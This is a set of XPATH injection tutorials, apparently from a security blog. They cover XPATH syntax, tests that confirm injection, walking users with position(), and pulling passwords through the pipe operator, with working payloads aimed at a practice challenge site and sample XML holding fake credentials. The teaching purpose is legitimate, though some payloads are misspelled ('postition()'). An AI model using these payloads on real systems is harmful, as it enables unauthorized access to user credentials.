XPATH tut

XPATH Injection : Iterating through element and Entities

Long time after posting the basics of XPATH for XPATH Injection, here we are with the first part of XPATH injection. I wont take much time in this one as i suppose if you have read the other tutorials on XPATH Here. In this tutorial we will learn how to inject into XPATH vuln URL with Zero knowledge of the file structure.

We are going to discuss the following in this tutorial.
1. Testing and confirming XPATHi
2. Iterating through the Nodes
3. Extracting Data from Siblings

First of all i hope you know the basics of what XPATH is, structure of a XML file, quries used to extract data from XML using XPATH. If you dont then i am sure you ll get "Very Confused" with this tutorial.


So before you start reading this i suppose you read other tutorials on XPATH.

1. Testing and confirming XPATHi

Testing for XPATH and confirming it is the most important part as most of us and specially the readers of securityidiots see SQLi everywhere and anywhere they find an error even if the error is Conversional Error, Internal Error, Programming Error and even some times people assume that getting blocked by WAF on typing "Union select" means its vulnerable to SQLi. Hmmm interesting and there reaction is like :


Well guys i suppose i have written enough tutorial on how to test and confirm SQLi, sometimes its good to read them also. Keeping that apart here we are going to start testing for XPATH.

When we see an input feild the first thing we ll check is making it true using the below tests:
1 or 1=1
1 or true
' or ''='
" or ""="
and in case of XPATH or SQLi and many other Injections they will work same. So now to confirm if its XPATHi we can use position() function, which is specific to XPATH. Here are few tests we can try:
1 or postition()=1 or 1=1
1 or postition()=1 or true
' or postition()=1 or ''='
" or postition()=1 or ""="
If any of the above works then you can assume that the injection you are dealing with is a XPATH Injection. Now below is an example XML file which we ll be using throughout this tutorial:

<xmlfile>
<users>
	<user>
		<name first="Zenodermus" last="Javanicus"/>
		<id>1</id>
		<username>Zen</username>
		<password>n00b_132</password>
		<phone>123-456-7890</phone>
	</user>
	<user>
		<name first="Rahul" last="Maane"/>
		<id>2</id>
		<username>Monster</username>
		<password>i_om-GAWWWD</password>
		<phone>603-478-4115</phone>
	</user>
	<user>
		<name first="Ashx" last="Khan"/>
		<id>3</id>
		<username>Trojan</username>
		<password>ihavemoregfsthanyou</password>
		<phone>222-222-2222</phone>
	</user>
	<user>
		<name first="Rummy" last="Khan"/>
		<id>4</id>
		<username>CyberGh0st</username>
		<password>SelectPassFromDual</password>
		<phone>88-777-8989</phone>
	</user>
</users>
</xmlfile>

Now here are some basic XPATH queries which can be used to extract data from the above file:
To Extract username where id=1
/xmlfile/users/user[id='1']/username
To Extract username where id=2
/xmlfile/users/user[id='2']/username
To Extract password where username is Monster
/xmlfile/users/user[username="Monster"]/password
To Extract phone where username is Trojan and password is ihavemoregfsthanyou
/xmlfile/users/user[username="Trojan" and password="ihavemoregfsthanyou"]/phone
To Extract the first username
/xmlfile/users/user[position()=1]/username

Looking at all the above example queries i think it must be clear enough for all of you to understand the basic way of extracting data using XPATH queries.

Now lets take this example "Link" which shows the phone number of the user passed in the username parameter. Now we can only get the number if we know the username.

2. Iterating through the Nodes

So here lets try injecting it with XPATH. Before we start injecting lets assume what could be the query working inside, it should be something like "/root/semething/user[username="<Our_Intput_here>"]/phone" assuming this lets try the below injections:
http://leettime.net/zen_challenge1/challenge_2.php?username='or''='
And we got the number of first user, now to get the number of second user we ll use position() as i used before above
http://leettime.net/zen_challenge1/challenge_2.php?username='or position()=2 and''='
And we got the number of Second user, so on we can keep changing position() to get the rest of users phone numbers.
http://leettime.net/zen_challenge1/challenge_2.php?username='or position()=3 and''='
And we got the number of Third user, so on we can keep changing position() to get the rest of users phone numbers.
Here we are done iterating through the nodes but the problem is we are not able to extract the other details like passwords etc. Which should and must be saved in the same XML file. Now here comes the next step using which we can even enumerate any other details we want.

3. Extracting Data from Siblings

Till now we were using position so we are able to enumerate through the nodes only but /phone in the end is hard coded so we cant change it to extract other data. But worry not!! we have the Pipe operator which works to combine two queries in XPATH. Here is how we can do this:
http://leettime.net/zen_challenge1/challenge_2.php?username=' or position()=1]/*[2]|/a['
The above Injection extracts the Second Element from first node.
http://leettime.net/zen_challenge1/challenge_2.php?username=' or position()=1]/*[3]|/a['
The above Injection extracts the Third Element from first node.
http://leettime.net/zen_challenge1/challenge_2.php?username=' or position()=1]/*[4]|/a['
The above Injection extracts the Forth Element from first node.
http://leettime.net/zen_challenge1/challenge_2.php?username=' or position()=1]/*[5]|/a['
The above Injection extracts the Fifth Element from first node.
http://leettime.net/zen_challenge1/challenge_2.php?username=' or position()=2]/*[2]|/a['
Here i changed the position which means it will extract data from the second node second element, so on you can keep changing and extracting.
Using this we can extract data with Zero Knowledge of the internal file structure. Here is a XPATHi challenge you can try solving the above method:
http://leettime.net/index.php
Here try extracting the username and password of all the users. Thats all for this tutorial, will catch you back soon with another tutorial.


Basics XPATH Injection

Starting on the name of My god "Allah" the most beneficent the most merciful

In this tutorial we will discuss the basic of XPATH injection and learn the basics of injecting into XPATH queries. XPATH queries are too much like SQL queries also. And the rules of injecting into XPATH are also same to SQL queries. You have to take care of the closing the input with single or double quote and then commenting if required. For more understanding i will be using a XML file to explain all the examples in this tutorial, you can also use Leettime to practice
<userdb>
	<user>
		<name first="Jeff" last="Smiley"/>
		<id>1</id>
		<username>Jefferson</username>
		<password>Jutobi</password>
		<phone>123-456-7890</phone>
	</user>
	<user>
		<name first="Chunk" last="MacRunfast"/>
		<id>2</id>
		<username>Alexandra</username>
		<password>securityidiots</password>
		<phone>603-478-4115</phone>
	</user>
	<user>
		<name first="Zenodermus" last="Javanicus"/>
		<id>3</id>
		<username>Zen</username>
		<password>@lltogether</password>
		<phone>222-222-2222</phone>
	</user>
</userdb>

As I know most of the readers who are reading here must be having some basic information of SQL queries, so rather than starting from XPATH i ll show you how can you simply relate or convert a SQL query into XPATH query. Below is a basic SQL query where we are extracting the username from a table users under database userdb using the condition on id.
select username from userdb.user where id=1

Now lets convert the above query into a XPATH query and see the difference.
/userdb/user[id='1']/username
The above query will extract the username of the user whose id is 1 which is "Jefferson" in the XML File

As you can see in the above query we first specified the path and then the condition and then what we want to extract, yeah its as simple as that. Now i hope you can understand the basic XPATH query. So now lets inject the above query to enumerate the usernames of each user one by one assuming the we do not know the user id for each user and we want to check the usernames of all the users then we can use the position() function. Here is an example of position function.
/userdb/user[position()=1]/username
Will extract the first username which is "Jefferson"

/userdb/user[position()=2]/username
Will extract the first username which is "Alaxandra"

/userdb/user[position()=3]/username
Will extract the first username which is "Zen"

Now lets take the query which we used before and inject it using the position function.
/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1 or ' the the query will become
/userdb/user[id='' or position()=1 or '']/username
Will extract the first username which is "Jefferson"

which means the condition says either id should be empty or get the first user's username, and we will get the first username. But this injection do not allow us to enumerate other details such as the other columns in SQL or in XPATH we can say the other siblings. So how to get the other siblings because that '/username' in the end of query makes our query to extract only the usernames.

Here we a bypass for that which is the pipe character, also known as union select operater for XPATH. A pipe operater can be used to concatenate two different statements, So what will do is using Pipe we will separate the /username part into the next statement and no matter any output come of not from the second statement, still XPATH will give us the output from the first statement. This means what we need to concentrate on is to only keep our first statement valid. So we can make our query something like this.
/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1]/New_Element_name|a[' the the query will become
/userdb/user[id='' or position()=1]/New_Element_name|a['']/username

Now for example we want to extract the password of a user using the above injection then we just have to put the name of password column on place of element which will give us the below results:
/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1]/password|a[' the the query will become
/userdb/user[id='' or position()=1]/password|a['']/username
Will extract the first user's password which is "Jutobi"

It will successfully give us the passwords but right now we simply assumed that the password column name is password, which was just an assumption. But what if the column name for passwords is like 'my_pass' then we wont be able to extract it. Here we can use an another trick, if you read the Selecting Unknown Nodes carefully then you may know what we can do. We can use * to select an unknown Node or Element, and we have to specify which element we want. Just see the below example carefully:
/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=1]/*[1]|a[' the the query will become
/userdb/user[id='' or position()=1]/*[1]|a['']/username
It wont Extract anything as the elements are Attributes not Element values
/userdb/user[id='' or position()=1]/*[2]|a['']/username
It will get the Second element for first user which is '1'.
/userdb/user[id='' or position()=1]/*[3]|a['']/username
It will get the third element for first user which is "Jefferson".
/userdb/user[id='' or position()=1]/*[4]|a['']/username
It will get the forth element for first user which is "Jutobi".
/userdb/user[id='' or position()=1]/*[5]|a['']/username
It will get the fifth element for first user which is "123-456-7890".

The red part in query is our injection. In this manner we can enumerate all the siblings for the first element now lets change the position() to enumerate all the values of the second user.
/userdb/user[id='ourinputhere']/username
Lets say our input it ' or position()=2]/*[1]|a[' the the query will become
/userdb/user[id='' or position()=2]/*[1]|a['']/username
It wont Extract anything as the elements are Attributes not Element values
/userdb/user[id='' or position()=2]/*[2]|a['']/username
It will get the Second element for first user which is '2'.
/userdb/user[id='' or position()=2]/*[3]|a['']/username
It will get the third element for first user which is "Alexandra".
/userdb/user[id='' or position()=2]/*[4]|a['']/username
It will get the forth element for first user which is "securityidiots".
/userdb/user[id='' or position()=2]/*[5]|a['']/username
It will get the fifth element for first user which is "603-478-4115".

In the same manner we can extract the details for the third user also. I hope you enjoyed reading. Leave your valueable comments and feedback please.


Basics of XPATH for XPATH Injection 2

Starting on the name of My god "Allah" the most beneficent the most merciful

This is the second part of basics for XPATH Injection, in this tutorial we will learn the basic queries of XPATH.

Headings in this Document:
Selecting Nodes In XPATH
The Basic XPATH Expressions
Predicates In XPATH
Selecting Unknown Paths
Selecting Several Paths
Introduction to Injection in XPATH Query

Again we will take some reference from W3s then after we understand the basic queries we will learn how to inject them.

The XML Example Document
We will use the following XML document in the examples below.
<?xml version="1.0" encoding="UTF-8"?>

<bookstore>

<book>
  <title lang="eng">Harry Potter</title>
  <price>76.99</price>
</book>

<book>
  <title lang="eng">Learning XML</title>
  <price>22.95</price>
</book>

<book>
  <title lang="eng">Learning XPATH</title>
  <price>30.20</price>
</book>

<book>
  <title lang="eng">Learning Secrets of Injections</title>
  <price>50.99</price>
</book>

<book>
  <title lang="eng">Learning Programming</title>
  <price>53.45</price>
</book>

</bookstore>


Selecting Nodes

XPath uses path expressions to select nodes in an XML document. The node is selected by following a path or steps. The most useful path expressions are listed below:

Expression		Description
nodename	:	Selects all nodes with the name "nodename"
/	:	Selects from the root node
//	:	Selects nodes in the document from the current node that match the selection no matter where they are
.	:	Selects the current node
..	:	Selects the parent of the current node
@	:	Selects attributes


Some Basic XPATH Expression

In the table below we have listed some path expressions and the result of the expressions:

Path Expression		Result
bookstore	:	Selects all nodes with the name "bookstore"
/bookstore	:	Selects the root element bookstore
Note: If the path starts with a slash ( / ) it always represents an absolute path to an element!
bookstore/book	:	Selects all book elements that are children of bookstore
//book	:	Selects all book elements no matter where they are in the document
bookstore//book	:	Selects all book elements that are descendant of the bookstore element, no matter where they are under the bookstore element
//@lang	:	Selects all attributes that are named lang


Predicates

Predicates are used to find a specific node or a node that contains a specific value.

Predicates are always embedded in square brackets.

In the table below we have listed some path expressions with predicates and the result of the expressions:

Path Expression		Result
/bookstore/book[1]	:	Selects the first book element that is the child of the bookstore element.
/bookstore/book[last()]	:	Selects the LAST BOOK element that is the child of the bookstore element
/bookstore/book[last()-1]	:	Selects all the book elements except the last one that are children of the bookstore element
/bookstore/book[position()<3]	:	Selects the first two book elements that are children of the bookstore element
//title[@lang]	:	Selects all the title elements that have an attribute named lang
//title[@lang='eng']	:	Selects all the title elements that have an attribute named lang with a value of 'eng'
/bookstore/book[price>35.00]	:	Selects all the book elements of the bookstore element that have a price element with a value greater than 35.00
/bookstore/book[price>35.00]/title	:	Selects all the title elements of the book elements of the bookstore element that have a price element with a value greater than 35.00


Selecting Unknown Nodes

XPath wildcards can be used to select unknown XML elements.

Wildcard	Description
*	Matches any element node
@*	Matches any attribute node
node()	Matches any node of any kind


In the table below we have listed some path expressions and the result of the expressions:

Path Expression	Result
/bookstore/*	Selects all the child nodes of the bookstore element
//*	Selects all elements in the document
//title[@*]	Selects all title elements which have any attribute


Selecting Several Paths
By using the | operator in an XPath expression you can select several paths.

In the table below we have listed some path expressions and the result of the expressions:

Path Expression	Result
//book/title | //book/price	Selects all the title AND price elements of all book elements
//title | //price	Selects all the title AND price elements in the document
/bookstore/book/title | //price	Selects all the title elements of the book element of the bookstore element AND all the price elements in the document



Basics of XPATH for XPATH Injection 1

Starting on the name of My god "Allah" the most beneficent the most merciful "XPATH Injection" If you landed this page searching for "SQLi Error based XPATH Injection" which is already posted at XPATH using UpdateXML and XPATH using ExtractValue and obviously this time we will not be discussing on SQL Injection. We are doing the discuss about the real XPATH injection, as we know XPATH is a data manipulation language very much similar to SQL. Using XPATH queries we can enumerate data saved into an XML file. Something which makes both of them different is that unlike SQL, in XPATH we do not have any Access Level which means that one a document is injectable the hackers get his hand on the whole database.

XPATH is used to create quries which allow user to manipulate data inside a XML document. In this tutorial we will start with the basics of XPATH queries to understand them better and later on we will move on the injecting part.

Below is a little introduction to XPATH from w3school to understand the terminology used in XPATH Data Manipulation Language. Just like we need to know what is database, tables, columns, data, queries etc if we want to learn SQL injection, in the same manner we need to understand the basic structures of XML to Inject into XPATH queries

In XPath, there are seven kinds of nodes: element, attribute, text, namespace, processing-instruction, comment, and document nodes.

XML documents are treated as trees of nodes. The topmost element of the tree is called the root element.

Look at the following XML document:

<?xml version="1.0" encoding="UTF-8"?>

<bookstore>
  <book>
    <title lang="en">Harry Potter</title>
    <author>J K. Rowling</author>
    <year>2005</year>
    <price>29.99</price>
  </book>
</bookstore>
Example of nodes in the XML document above:
(root element node)
J K. Rowling (element node)
lang="en" (attribute node)
Atomic values

Atomic values are nodes with no children or parent.

Example of atomic values:
J K. Rowling

"en"

Items

Items are atomic values or nodes.

Relationship of Nodes

Parent

Each element and attribute has one parent.

In the following example; the book element is the parent of the title, author, year, and price:

<book>
  <title>Harry Potter</title>
  <author>J K. Rowling</author>
  <year>2005</year>
  <price>29.99</price>
</book>
Children

Element nodes may have zero, one or more children.

In the following example; the title, author, year, and price elements are all children of the book element:

<book>
  <title>Harry Potter</title>
  <author>J K. Rowling</author>
  <year>2005</year>
  <price>29.99</price>
</book>
Siblings

Nodes that have the same parent.

In the following example; the title, author, year, and price elements are all siblings:

<book>
  <title>Harry Potter</title>
  <author>J K. Rowling</author>
  <year>2005</year>
  <price>29.99</price>
</book>
Ancestors
A node's parent, parent's parent, etc.
In the following example; the ancestors of the title element are the book element and the bookstore element:

<bookstore>

<book>
  <title>Harry Potter</title>
  <author>J K. Rowling</author>
  <year>2005</year>
  <price>29.99</price>
</book>

</bookstore>
Descendants

A node's children, children's children, etc.

In the following example; descendants of the bookstore element are the book, title, author, year, and price elements:

<bookstore>

<book>
  <title>Harry Potter</title>
  <author>J K. Rowling</author>
  <year>2005</year>
  <price>29.99</price>
</book>

</bookstore>



Introduction to Injection in XPATH Query

Okay if you read the above content then let us for example take a page which takes some input as name and shows the phone number of that user if that user exist in XML file. When injecting we know that for a string type either single quote or double quoute will be used that we can check by using ' " or ""=" ' for double quote and we can use ' ' or ''=' ' for single quote check okay so which ever works we will come to know that it is used intenally into the query now lets just assume a simple query.

/root/parent/something[username='our_input_here']/user

So the username are extracted after the condition gets the username as input. Now we know that if we make the condition true using ' or ''=' we will be able to see the first users details. But then we want to enumerate with each user one by one. as we know the position() function choose each node one by one. So we can use it to enumerate each user one by one. Here we go.

/root/parent/something[username='' or position()=1 or '']/user
/root/parent/something[username='' or position()=2 or '']/user
/root/parent/something[username='' or position()=3 or '']/user
/root/parent/something[username='' or position()=4 or '']/user
/root/parent/something[username='' or position()=5 or '']/user

This is how we can enumerate each user one by one.

I hope you learnt the basics of XPATH and XPATH injection. In next tutorial i will be explaining XPATH injection in more details and some much more better ways of Injecting in XPATH Queries.